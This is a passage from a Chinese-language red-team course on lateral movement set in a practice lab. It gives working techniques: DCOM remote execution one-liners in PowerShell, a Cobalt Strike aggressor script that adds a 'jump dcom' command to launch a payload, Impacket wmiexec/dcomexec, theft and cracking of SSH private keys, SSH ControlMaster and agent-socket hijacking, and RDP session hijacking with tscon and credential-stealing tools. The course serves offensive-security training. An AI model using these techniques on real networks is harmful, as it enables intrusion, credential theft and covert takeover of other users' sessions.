[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/X8GTWiUbpCV80bbt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/X8GTWiUbpCV80bbt-image.png)

将要启动的进程换为载荷，便能实现横向移动了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/P8RzYPv7DUfuiywc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/P8RzYPv7DUfuiywc-image.png)

### **C2** 

##### **remote-exec wmi**

我们会发现没有 jump wmi 的选项，只有 **remote-exec wmi**。remote-exec 方法使用的其实就是 **process call create** 来执行任意命令。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/EdFvnrLBWZmwQ7At-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/EdFvnrLBWZmwQ7At-image.png)

因此，我们可以先上传载荷文件到目标主机上，再使用 remote-exec 来执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/dP4v36p7H7IpIBJ0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/dP4v36p7H7IpIBJ0-image.png)

### **第三方工具**

##### **Impacket**

Impacket 中的 wmiexec 同样可用于横向移动，不过返回的是**半交互式 Shell**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/BEGh38ZqGsn5BqkA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/BEGh38ZqGsn5BqkA-image.png)

因为 wmiexec 会将输出写入文件，因此会带来 IoC，静默命令以及取消输出可以改善这一问题。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/as0Ihynu3ARAGHU2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/as0Ihynu3ARAGHU2-image.png)

XiaoLi 修改后的 wmiexec 脚本 ([https://github.com/XiaoliChan/wmiexec-RegOut](https://github.com/XiaoliChan/wmiexec-RegOut)) 通过注册表读写输出，也是一个不错的方法。

# DCOM

根据 Microsoft ([https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model](https://docs.microsoft.com/en-us/windows/desktop/com/the-component-object-model))，组件对象模型 (COM) 是分布式、平台独立、面向对象的，用于创建可交互的**二进制软件组件**的系统。COM 是 Microsoft 的 **OLE** 、**ActiveX** 和其他技术的基础技术。

对于攻击者来说，DCOM 还可以用于远程代码执行和横向移动，需要访问**端口 135** 和**本地管理员**权限。相对来说，基于 DCOM 的横向移动会更加难以侦查，因为有多种方法可用，并且都有各自不同的 IoC。以及还有大量未被文档记录的方法，以及可能含有未被发现 RCE 利用的。

### **DCOM 基础**

以 **MMC 应用类**来说，它可以让我们脚本化 **MMC 管理单元**的操作。枚举该 COM 对象的方法和属性，发现 **ExecuteShellCommand** 看起来可以用于远程代码执行。

```powershell
$com=[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>"))
$com.Document.ActiveView | Get-Member
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/HsuxI0IX7P3HjpLG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/HsuxI0IX7P3HjpLG-image.png)

就这样，我们有了这么一个 DCOM 应用可以通过网络远程访问并且执行命令。不过，不是每个 DCOM 对象都有关联的 ProgID，例如 ShellWindows，我们就不能通过 **ProgID** 来查询了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/xdXmoWKXqwbihHam-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/xdXmoWKXqwbihHam-image.png)

我们可以使用 OleViewDotNet ([https://github.com/tyranid/oleviewdotnet](https://github.com/tyranid/oleviewdotnet)) 工具来查询目标 DCOM 对象的，得到 **CLSID**，然后通过 **GetTypeFromCLSID("&lt;CLSID&gt;"，"&lt;IP&gt;")** 来实例化对象。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/PbVQTgOky2wkeBN4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/PbVQTgOky2wkeBN4-image.png)

顺便，我们能看到 **Launch Permission** 是空的，这种情况下默认允许管理员访问，这个属性应当被配置具体的访问控制。因此，通过不同的 DCOM 对象进行横向移动可能需要不同的权限。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/pmn7xoclLeinNT4M-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/pmn7xoclLeinNT4M-image.png)

刚刚的 **MMC20** 也没有配置具体的访问控制，这也是我们得以在管理员的情况下借助 DCOM 实现横向移动的原因之一。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/qsWUME4KZB8MPQxb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/qsWUME4KZB8MPQxb-image.png)

随着对象在目标主机上的实例化，我们可以与之交互并且调用任何方法

```powershell
$item = [System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("<clsid>", "<IP>")).item()
$item.Document.Application | Get-Member
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/TYhvDAESN2C3gJKl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/TYhvDAESN2C3gJKl-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/kXZaGKsuTtjxFUXe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/kXZaGKsuTtjxFUXe-image.png)

ShellExecute 函数原型如下，我们便可以调用该方法实现代码执行了。

```c++
iRetVal = Shell.ShellExecute(
  sFile,
  [ vArguments ],
  [ vDirectory ],
  [ vOperation ],
  [ vShow ]
);
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vmGfBh8YznGBU2jW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vmGfBh8YznGBU2jW-image.png)

### **PowerShell**

我们可以通过如下 Powershell 命令对目标主机实现命令执行：

```powershell
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","<IP地址>")).Document.ActiveView.ExecuteShellCommand("<程序>","0","0","0")
```

我们会发现，成功地创建了指定程序的新进程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/zREaBbjwxLDe3Qeg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/zREaBbjwxLDe3Qeg-image.png)

将程序指定为我们的载荷，执行后立刻就收到了新的会话。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/bufFmSH1uqoMW2YR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/bufFmSH1uqoMW2YR-image.png)

这里，我们使用的是 **MMC20** 的方法。不过 MMC20 是在 DCOM 横向移动中最常被使用的方法，因此受到了更严格的监控。除了 目前为止提到的 **MMC20.Application** 以及 **ShellWindows**，**ShellBrowserWindow**，**Excel.Application**，**Outlook.Application 等**同样可被用于远程代码执行，但其中有的方法有特定要求，例如目标主机上安装有 Excel。

### **C2** 

##### **jump dcom 插件**

CS 没有自带 jump dcom 命令，但我们可以通过**外部工具**以及**聚合脚本**来实现。下载 Invoke-DCOM ([https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1))，并且下载 Elevate Kit ([https://github.com/cobalt-strike/ElevateKit](https://github.com/cobalt-strike/ElevateKit))，导入 cna 脚本。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/0TrogpHML4OrqEsc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/0TrogpHML4OrqEsc-image.png)

在 **elevate.cna** 最下方添加如下的脚本内容，并重新载入脚本。该脚本将客户端的 Invoke-DCOM.ps1 放在内置 Web 服务器上，使目标主机读取并导入该脚本，最后执行命令。

```
sub invoke_dcom
{
	local('$handle $script $oneliner $payload');
	btask($1, "Tasked Beacon to run " .listener_describe($3) . " on $2 via DCOM", "T1021");
	$handle = openf(getFileProper("<Invoke-DCOM脚本所在目录>", "<Invoke-DCOM.PS1 脚本名称>"));
	$script = readb($handle, -1);
	closef($handle);
	$oneliner = beacon_host_script($1, $script);
	bpowerpick!($1, "Invoke-DCOM -ComputerName \" $+ $2 $+ \" -Method MMC20.Application -Command <载荷地址，反斜杠应为双反斜杠>", $oneliner);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Program", &invoke_dcom);
```

通过这样，我们把该脚本以别名的形式集成到了 CS 内置命令中。我们可以看到，jump 里新增了 **dcom** 的子选项。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/mbKFYogoIbJmLye6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/mbKFYogoIbJmLye6-image.png)

因为我们指定了自己的载荷，因此最后的监听器参数任意，不参与实际作用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/8q28oAjkEY8YlSSH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/8q28oAjkEY8YlSSH-image.png)

### **第三方工具**

##### **Impacket**

我们也可以通过 impacket 中的 dcomexec 实现横向移动，指定 DCOM 对象，目前可以使用 **MMC20**，**ShellWindows** 以及 **ShellBrowserWindow**，返回的 Shell 依旧是半交互式的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/qIhjLWq4Eh6a8rcX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/qIhjLWq4Eh6a8rcX-image.png)

# SSH劫持

SSH 是一个可以用于远程访问网络设备的网络协议，广泛运用于 Linux 主机，并且如今 SSH 在 Windows 主机上的使用也越来越广泛。对于我们网络安全人士，直观地概括就是 SSH 会话能给予我们**完全交互式的 Shell**。SSH 还可以与 FTP 服务集成，以加强文件安全性。因为 SSH 能访问主机的特性，也被一些**集中式管理工具**集成，以对受管理的主机进行**命令执行**、**分发 IT 任务**等，

SSH 不仅支持**密码登陆**，还支持**密钥登陆**。如果使用密钥认证的话，需要用户通过 **ssh-keygen** 命令先生成一对**私钥与公钥**。从 IT 管理员的角度来看，应当尽可能**禁用密码认证**，只允许密钥认证。尽管基于密钥的认证更加安全，但如果密钥相关的重要文件被**窃取**或者**攥改**了，也会导致主机被入侵。对于攻击者，这可以帮助我们实现横向移动。因为如今 Windows 也支持 SSH 服务，针对 SSH 的成功攻击不仅可以让我们入侵更多的 Linux 主机，也可以让我们拿下 Windows 主机以及实现对特权用户的模仿。

### **SSH 重要文件**

##### **id\_rsa**

id \_rsa 是用户的 SSH 私钥，私钥文件应该被保护好，只有所有者用户才允许拥有读写权限。因为对于攻击者而言，这是最有吸引力的了，SSH 私钥可以授予我们访问**任何信任该密钥的主机** (私钥配套的公钥在目标主机的 **authorized\_keys** 中)，在横向移动方面尤其有效。我们不仅可以在入侵了一台配置有 SSH 服务的主机后**生成或搜集各个用户的 SSH 私钥**以实现**持久化访问**，如果我们发现了可能是用于**连接其他主机的私钥**，那么我们便可以连接到其他主机。这在开发与生产环境是比较常见的，因为员工可能需要通过 SSH 连接到多台主机上作业，因此索性在用户目录下保存了多个主机的 SSH 私钥，这样的图省事带来的是多个主机一并被入侵。

默认情况下，私钥文件存储为 **~/.ssh/id\_rsa** 目录中，需要通过 **ssh-keygen** 命令生成或者覆盖现有的，用户还可以指定 Passphrase 来保护密钥，但对于贪图方便的用户，可能就一路回车跳过了这个环节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/kGB8X81Dfrt2b0As-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/kGB8X81Dfrt2b0As-image.png)

而对于设置了 Passphrase 的私钥，在使用私钥进行认证的时候，我们需要输入私钥的 Passphrase 方可认证。我们可以对其进行离线字典破解恢复出 Passphrase。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/fDWNO9usTi4fWZwS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/fDWNO9usTi4fWZwS-image.png)

使用 ssh2john 将私钥的 Passphrase 提取出来成哈希格式

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GqdILpS4JvAa1eJJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GqdILpS4JvAa1eJJ-image.png)

再使用 john 来字典破解该哈希，得到 Passphrase 为 **dev01**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/hoISN3PvGuAQp5Zr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/hoISN3PvGuAQp5Zr-image.png)

##### **id\_rsa.pub 与 authorized\_keys**

id\_rsa.pub 为 id\_rsa 所对应的公钥，位置为 **~/.ssh/id\_rsa.pub**，可以自由分发。当用户尝试连接到远程系统时，系统使用此公钥加密**质询**消息，如果能成功使用私钥解密该消息，即证明用户拥有相应的私钥，那么将获得访问权限。

authorized\_keys 存在于 **~/.ssh/authorized\_keys**，包含允许对此帐户进行身份验证的用户的公钥列表。 当客户端连接到服务器时，服务器会检查此文件以查看是否列出了客户端提供的公钥。 如果是，并且如果客户端可以证明它拥有相应的私钥（如上所述），则允许客户端登录。

**公钥认证**，即将用户的公钥添加到目标主机的 authorized\_keys 中。例如，用户 Alice 持有一 VPS，为了能实现免密码 SSH 登陆，Alice 将自己在个人用主机上的 SSH 公钥添加到 VPS 上一用户的 authorized\_keys 中。如图所示，主机 ts 为我的个人 VPS，在该文件中有 3 个公钥，前 2 个为我其他个人主机。我将这些设备上的 SSH 公钥添加在这个文件中，就可以在这 2 个设备上以 root 身份访问 ts 了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/YMSw4M9Sck3XeSxG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/YMSw4M9Sck3XeSxG-image.png)

**私钥认证**，在 id\_rsa 部分说过了，私钥以凭证的方式被用于向 SSH 服务器认证，带来的问题就是如果私钥被攻击者窃取了，那么私钥可以访问到的主机都会沦陷。如下图所示，我们看到在 dev01 上，dev01 用户的公钥也存在于 authorized\_keys 中，这样的话，持有 dev01 私钥的用户，当然也包括了窃取了私钥的攻击者，可以通过私钥向 dev01 的 SSH 服务器认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/FuLf1UYxHw0QA8pk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/FuLf1UYxHw0QA8pk-image.png)

回顾该图的上一张图，第 3 个公钥是 dev01 的，什么意思呢？我在 ts 上的 authorized\_keys 中添加了 dev01 的公钥，那么持有 dev01 私钥的用户可以以 root 身份访问 ts 这台主机了。因此，私钥的窃取可能导致多台主机的沦陷，这取决于有多少台主机信任该密钥。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/o8JalXaNmkZsLueV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/o8JalXaNmkZsLueV-image.png)

##### **known\_hosts**

known\_hosts 文件位于 **~/.ssh/known\_hosts**，保留着客户端曾经连接过的所有远程主机的密钥列表。 该文件用于验证用户是否正在连接到期望的服务器，如果尝试连接的远程服务器的密钥与存储在 known\_hosts 文件中的密钥不匹配，SSH 将警告用户目标服务器的身份已更改。作为攻击者，我们可以查看该文件来判断该用户的连接历史，该用户可能对这些连接过的主机具有访问权，是我们横向移动的目标。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/JfVnnEIxzkZy4X1p-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/JfVnnEIxzkZy4X1p-image.png)

总之，我们来总结一下针对 SSH 密钥的枚举步骤：  
1：查看所有用户的私钥，无论是本地用户的私钥，还是可以访问其他主机的。私钥可能会被改名，因为需要配合内容判断。  
2：检查私钥是否有 Passphrase，如果有，尝试破解出 Passphrase。  
3：查看 authorized\_keys 文件，判断哪些用户/主机可以连接到当前主机。从后利用角度，我们也可以将自己的 SSH 公钥添加到该文件末尾，实现持久化访问。  
4：查看 **known\_hosts**，配合**命令历史**判断该用户连接过哪些主机。不过 known\_hosts 中的内容可能被**哈希**过。  
5：尝试连接其他主机

### **SSH Control Master**

SSH 有一个特性叫 Control Master，可以通过单个网络连接共享多个会话。这意味着只要用户建立起第一个 SSH 会话，那么后续的 SSH 连接不再需要密码，从而实现尾随在第一个会话身后。以靶场里的 **Dev01** 为例，**账户 dev01** 正在以 **med-deal\\october** 用户身份通过 SSH 访问 **Srv02**，而我们已经入侵了 Dev01，因此我们可以**尾随**这个 SSH 会话实现无须密码便能移动到 Srv02。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/cxYlK7sLw9zqtQFo-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/cxYlK7sLw9zqtQFo-image.png)

利用方式与条件如下：  
1：该主机已经开启 Control Master了，在 .ssh 文件夹中会存在 config 文件，内容如下

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ZzJZQUNIyXGZd3Yu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ZzJZQUNIyXGZd3Yu-image.png)

```nginx
Host *
 ControlPath ~/.ssh/controlmaster/%r@%h:%p
 ControlMaster auto
 ControlPersist yes
```

  
2：进入 .ssh 文件夹下的 **contromaster** 子文件夹，我们会发现 socket 文件，文件名格式为 **user@host:22**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/L6zQE3nk9bDlXuPd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/L6zQE3nk9bDlXuPd-image.png)

  
3：这时候，我们通过命令 **ssh user@host** 无密码移动到要劫持的会话所访问的远程主机上。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/iUk8GMskGYdi3HOr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/iUk8GMskGYdi3HOr-image.png)

如果我们已经是 root 用户了，通过 **-S** 选项指定 **socket 文件**即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/xTgDaNEK19xcmWoW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/xTgDaNEK19xcmWoW-image.png)

即便当前用户尚未开启 ControlMaster，我们可以替他开启，这样在用户**下次访问**其他主机的时候，我们就能实现劫持。总结一下，我们在 A 主机上发现用户正在通过 SSH 访问 B 主机，我们可以劫持该会话，尾随在其后面，无密码移动到主机 B。

### **SSH 代理转发**

**SSH 代理**是一个在后台运行并将用户的**私钥**存储于**内存中**的程序，因此用户不必在每次使用 SSH 命令时都输入 Passphrase。该代理充当**用户的私钥**和 **SSH 客户端软件** (例如 ssh 或 scp) 之间的**中间人**。每当进程 (如 SSH 会话) 需要使用其中一个密钥向服务器进行身份验证时，代理会处理服务器发送的挑战的解密和签名，因此不需要传递私钥本身，Passphrase 也不用再次输入。这不仅提供了便利，而且还增加了安全性。由于代理将用户的私钥保存在内存中而不是磁盘上，因此它降低了私钥被攻击者窃取的风险。

而**代理转发**是 SSH 的一个特性，可以通过多个服务器建立连接链，并且可以在最远程的服务器上使用在本地主机上运行的 SSH 代理。 简单来说，它允许用户从远程服务器使用本地 SSH 密钥。当用户需要从一台**跳板主机**通过 SSH 连接到另一台服务器，而不需要 **SSH 密钥**传输到本地主机以外的任何其他服务器时，这会很方便。SSH 代理转发提高了安全性，因为我们的 SSH 私钥永远不会暴露给任何远程服务器。但是，如果连接链中的其中一台服务器被入侵，那么密钥可能会被滥用来建立新的连接。

假设**我们自己的主机**为一个**要登陆多个主机的用户的设备**，靶场中的 Web01 为跳板主机，Dev01 为远程主机，情景与前置需求如下：  
  
1：该用户的公钥已经被添加到了 Web01 与 Dev01 上了，并且通过配置 ssh 文件夹中的 **config** 文件来启用代理转发。

```shell
ssh-copy-i -i ~/.ssh/id_rsa.pub <用户名>@<跳板主机>
ssh-copy-i -i ~/.ssh/id_rsa.pub <用户名>@<远程主机>
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/3bq8ieuP8eA3voVC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/3bq8ieuP8eA3voVC-image.png)

启动了 SSH 代理

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/WjT07HaRC1heJ4Le-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/WjT07HaRC1heJ4Le-image.png)

密钥也已经添加到了 SSH 代理中

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/q9bGmw837F0UytI8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/q9bGmw837F0UytI8-image.png)

2：跳板主机的 **sshd\_config** 文件中开启了代理转发

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/20lHJ8qByQ5fGUF4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/20lHJ8qByQ5fGUF4-image.png)

3：该用户已经通过 SSH 连接到了跳板主机 Web01 上了

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/Qklg4Fy0ts66zMdr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/Qklg4Fy0ts66zMdr-image.png)

4：在跳板主机 Web01 上也能进而访问到 Dev01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/UhJEG3azdd0Rg5Cw-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/UhJEG3azdd0Rg5Cw-image.png)

5：下图视角为**攻击者的视角**，假设攻击者在跳转主机上已经拿到了 root 特权。我们首先列举一下当前主机所存在的 SSH 连接，并且得到 SSH 进程的 PID。

如下图所示，PID **83556** 意味着 SSH 连接后的 bash 会话，我们读取该 PID 的环境变量，发现了套接字文件的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-02/scaled-1680-/K3KsqYrWL3yPCR78-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-02/K3KsqYrWL3yPCR78-image.png)

我们当前是 root 用户，使用找到的 SSH 套接字从而劫持 SSH 会话，免密横向移动到 dev01。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-02/scaled-1680-/0FcXNJCaG7Yp0r36-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-02/0FcXNJCaG7Yp0r36-image.png)

# RDP

在 Windows 系统中，远程桌面能提供 GUI 的远程访问，在企业环境里使用极多，对于攻击者而言也是一种天然的横向移动的方式。如果我们已经拥有了受害用户的**明文密码**，并且受害用户是其他主机的**本地管理员**或者是 **Remote Desktop Users** 组成员，那么我们便可使用 **mstsc.exe**，即 RDP 客户端远程访问。在 Linux 平台，我们可以使用工具 **xfreerdp** 或者 **rdesktop**。

RDP 远程登陆是典型的**交互式认证**情景，交互式登陆需要**明文密码**，那也意味着，如果受害用户使用 RDP 登录到已经被入侵的主机上，凭证会留在被入侵的主机的内存之中，并且即便断开连接也不会让凭证消失。进而攻击者可以通过 Mimikatz 之类的工具导出凭证。我们甚至可以利用 BoF RdpThief ([https://github.com/0x09AL/RdpThief](https://github.com/0x09AL/RdpThief)) 实现窃取明文密码，原理是检测 mstsc.exe 进程并且通过 API Hooking 来劫持明文凭证的输入。

此外，我们在之前章节提到过**受限管理员模式**，它可以解决凭证窃取的问题，但也可以让攻击者在不知道被攻陷的用户的明文密码的情况下实现 RDP 横向移动。

以及，我们来讨论一下 RDP 劫持。在 Web02 上，我们是以 serveradm 用户的身份交互式完成交互式登陆的，在任意一主机上以本地管理员帐号 **administrator : Passw0rdweb02** 以 RDP 访问 Web02，这样，Web02 上就同时有着至少这 2 个交互式登陆了。我们可以通过**任务管理器**确认这一点。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/PXuTj4eDcFjQbrvE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/PXuTj4eDcFjQbrvE-image.png)

我们可以切换至另一个用户，但需要提供密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/p9skH2HPEDyKvAGK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/p9skH2HPEDyKvAGK-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/wFLBC46lejINNEaf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/wFLBC46lejINNEaf-image.png)

输入正确的密码后，我们当前的会话会从 serveradm 切换至 Administrator 了。那么，我们怎么样可以不需要密码就能切换至另一个用户呢？我们需要提升至 SYSTEM 权限，可以通过 PsExec 或者 **PowerRunAsSystem** ([GitHub - DarkCoderSc/PowerRunAsSystem: Run application as system with interactive system process support (active Windows session)](https://github.com/DarkCoderSc/PowerRunAsSystem)) 实现。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/GyKIVfzuCninoduD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/GyKIVfzuCninoduD-image.png)

然后执行如下命令：

```powershell
cmd /k tscon <想要切换至的 ID> /dest:console
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/7Rg1w0VJUbQRLjVX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/7Rg1w0VJUbQRLjVX-image.png)

很快，我们就又切换回去了，并不需要输入密码。那么，这有什么作用呢？当我们拿到了一台主机的最高权限，如果这时候还有其他用户正在通过 RDP 连接该主机，我们可以劫持他们的 RDP 会话，以观察与推测他们当前进行的操作。不过这么做，多多少少会有些不隐蔽，但其他用户可能只是以为网络波动、其他人恰好也在连接。

2 周前，一款基于 **TinyNuke** ([https://github.com/rossja/TinyNuke)](https://github.com/rossja/TinyNuke)) 的名为 **HiddenDesktop** ([https://github.com/WKL-Sec/HiddenDesktop](https://github.com/WKL-Sec/HiddenDesktop)) 的 BOF 解决了 RDP 会话劫持中**挤下线**的问题，即可以在用户不知情的情况下与他的桌面会话交互，效果可以如下所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/EuCsG300OGJVtM1i-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/EuCsG300OGJVtM1i-image.png)

因为 HiddenDesktop 的服务器需要在 Windows 主机上运行，因此团队服务器需要能连通一台 Windows 主机。

此外，RDP 的**连接选项**可以高度自定义化，其中对于攻击者非常有用的有**磁盘映射**，即在 RDP 服务器上可以访问到 RDP 客户端的本地磁盘。我们在 Dc05 上发起对 Web02 的 RDP 连接，勾选磁盘映射，以 Web02\\Administrator 身份。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/U0u7Ivh9O0PZV04m-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/U0u7Ivh9O0PZV04m-image.png)

尽管 RDP 客户端会警告用户可能的风险，但因为磁盘映射并不是默认选项，用户既然这么配置了说明他有这样的需求，例如更加方便的**文件传输**、**软件安装**、**数据备份**等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vG47PVNp1XkvCiKK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vG47PVNp1XkvCiKK-image.png)

当连接成功创建后，发起 RDP 的用户可以通过 UNC 路径 **\\\\tsclient** 来访问映射的磁盘。因为连接从 Dc05 发起的，那么可以通过 **\\\\tsclient\\c** 访问到 Dc05 的 C 盘。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/d30n67beB38S3nWO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/d30n67beB38S3nWO-image.png)

不仅如此，还具有**读写**权限，因为对于 RDP 客户端主机的文件系统的权限与发起的用户 white-bird\\administrator 是一致的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/j6CTEDpJwrexjogd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/j6CTEDpJwrexjogd-image.png)

但是，这个 UNC 路径只有在 **RDP 会话中**才能访问到，作为攻击者，可以劫持该 RDP 会话，但是势必会引起警惕。更隐蔽的方法是向 RDP 的会话进程**注入载荷**，得到新的 Beacon，然后访问该 UNC 路径。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OO3YHMjEFCFgDAIP-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OO3YHMjEFCFgDAIP-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/H1ft9kOlE8lsSOGF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/H1ft9kOlE8lsSOGF-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6tF2THUtJ3QwZEoa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6tF2THUtJ3QwZEoa-image.png)

目前我们寄居在这个 RDP 的进程中，但只要用户访问结束退出连接，我们的 Beacon 也会丢失。但既然目前我们有写权限了，回想一下，怎么做可以返回一个稳定的 Beacon 呢？

# 其他应用

还有一些其他常用的应用与协议也可以被攻击者用于横向移动，可以通过安装特定的软件或运行特定的服务器实现。虽然并不是原生的，但在特定的网络环境中具有一定的使用率。

### **VNC**

VNC 是一个提供远程 GUI 访问的服务，类似于 RDP。但与 RDP 略有不同的是，VNC 是平台无关的，也就是不仅 Windows 支持 VNC 服务，Linux 主机、手机、OT 设备等都支持 VNC 服务，并且其他用户访问 VNC 并不会把当前用户挤下去，而是共享同一个控制台会话。VNC 服务默认端口是 5900 或者 5901。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2022-11/scaled-1680-/THr2XdxnNbltLhma-image.png)](https://raven-medicine.com/uploads/images/gallery/2022-11/THr2XdxnNbltLhma-image.png)

